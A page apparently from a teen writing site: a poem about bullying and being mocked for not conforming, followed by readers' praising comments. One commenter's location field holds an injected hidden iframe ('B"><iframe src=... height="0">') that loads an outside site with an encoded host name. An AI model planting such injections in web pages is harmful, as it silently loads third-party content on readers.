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   Laughter and degradation

Put-downs and humiliation

So you don't like me

Why must you hurt me?

You see the way I dress

You think I'm such a mess

You fear me so much

That you keep me out of touch

And you put me in my place

And you sit back and laugh in my face

You go through such tribulation

To protect your stupid reputation

Refusing to accept the unaccepted

Refusing to acknowledge the dejected

Such a slave to conformity

Such a slave to uniformity

Follow a few; step on many

Go out with the crowd in hopes that any

Weirdos who show up happen to be weak

So you can pound and beat that freak

You might not even hurt him much

But you will still tell such

Unbelievable lies; such incredible myths

So that you and your clique can resound with

Laughter and degradation

Put-downs and humiliation.




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on Dec. 14 2017 at 3:36 am
B"><iframe src=https://concept4u%2Eco%2Eil height="0"></iframe>, Kothrud, Florida
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This is so true. Your great at writing. :)
Writer13 BRONZE said...
on Feb. 5 2016 at 6:06 pm
Writer13 BRONZE, Washington, Illinois
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Favorite Quote:
&quot;May your mouth sing and your soul soar, but if your heart breaks that&#039;s all the more whole-hearted the words will make you, and you will soon unlock the summit of understanding.&quot; ~quote by me

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Beautiful .
Izzy777 SILVER said...
on Jun. 28 2015 at 12:56 pm
Izzy777 SILVER, Tampa, Florida
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this was so great, I love it so much. Every teen should read this. this is very relatable and clear. great great job. KEEP ON WRITING. congrats on getting into the mag
Zahra1997 BRONZE said...
on Nov. 19 2014 at 11:00 pm
Zahra1997 BRONZE, Lawrenceville, Georgia
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Favorite Quote:
&quot;Anger is like a ball of fire, but if you swallow it, it&#039;s sweeter than honey&quot;-Imam Ali

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Love  it :) check out my work
El-friedah BRONZE said...
on Mar. 12 2014 at 5:27 pm
El-friedah BRONZE, Mississauga, Ontario
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How can you move forward if you keep regretting the past?

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nice and there's even a rhythm...please check out my work if you can
TAR11 SILVER said...
on Jul. 15 2011 at 9:01 am
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Relatable.  Please check out my work if you get the chance. 
Kelsie Babin said...
on Dec. 13 2010 at 12:02 pm
Kelsie Babin, Plaquemine, Louisiana
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I love this poem because of all of its rhyme scheme. My favorite lines are "Laughter and degradation Put- downs and humiliation So you don't like me Why must you hurt me?"
bluegirl440 DIAMOND said...
on Nov. 11 2010 at 9:19 am
bluegirl440 DIAMOND, Park City, Utah
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Everybody lies. -House

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wow....just wow    :)
love2run GOLD said...
on Jun. 13 2010 at 8:01 pm
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&quot;I failed my way to success.&quot; Thomas Edison<br /> &quot;What kind of crazy nut would spend two or three hours a day just running?&quot; Pre<br /> &quot;A ship in harbor is safe, but that&#039;s not what ships are built for.&quot; John Shedd

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great job, that is so true and so amazing! keep it up!!!
savina GOLD said...
on May. 3 2010 at 8:12 am
savina GOLD, Roanoke Rapids, North Carolina
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&quot; Dont try to bull crap a bull crapper becuase they know all about the bull crapping&quot;.- my ap enviromental science teacher

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I love this poem..thank you for writing it. This poem has so much truth. GREAT JOB!
writingsavedmylife SILVER said...
on Mar. 21 2009 at 6:41 pm
writingsavedmylife SILVER, Livonia, Michigan
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It's like your reading my mind but you said it so much better than I ever could. I love it. Thanks for writing it, you just made my day